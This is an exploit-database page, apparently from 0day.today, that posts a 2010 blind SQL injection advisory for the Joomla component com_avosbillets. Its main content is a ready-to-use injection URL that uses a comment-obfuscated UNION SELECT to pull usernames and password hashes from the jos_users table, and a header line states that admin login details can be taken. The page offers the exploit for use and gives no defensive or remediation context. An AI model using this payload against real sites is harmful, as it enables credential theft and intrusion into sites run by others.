[ authorization ] [ registration ] [ Wiederherstellen ]
Kontaktiere uns
You can contact us by:
0day.today Exploits Market and 0day Exploits Database

Joomla Component com_avosbillets Blind SQL Injection Vulnerability

Autor
Pyske
Risiko
[
Security Risk Unsored
]
0day-ID
0day-ID-10554
Kategorie
web applications
Datum hinzufügen
01-01-2010
Betriebssystem
unsorted
==================================================================
Joomla Component com_avosbillets Blind SQL Injection Vulnerability
==================================================================

<------------------- header data start ------------------- >
#############################################################
#        Joomla Component com_avosbillets Blind SQL Injection Vulnerability
#############################################################
# Author          : Pyske
# Name            : com_avosbillets
# Bug Type        : Blind SQL Injection
# Infection       : Admin login bilgileri alinabilir.
 
#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
http://server/index.php?option=com_avosbillets&task=view&view=event&id=374/**/and/**/1=0/**/union/**/select/**/0,1,2,3,4,5,6,7,8,concat(username,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/from/**/jos_users--
 
< -- bug code end of -- >



#  0day.today [2024-07-16]  #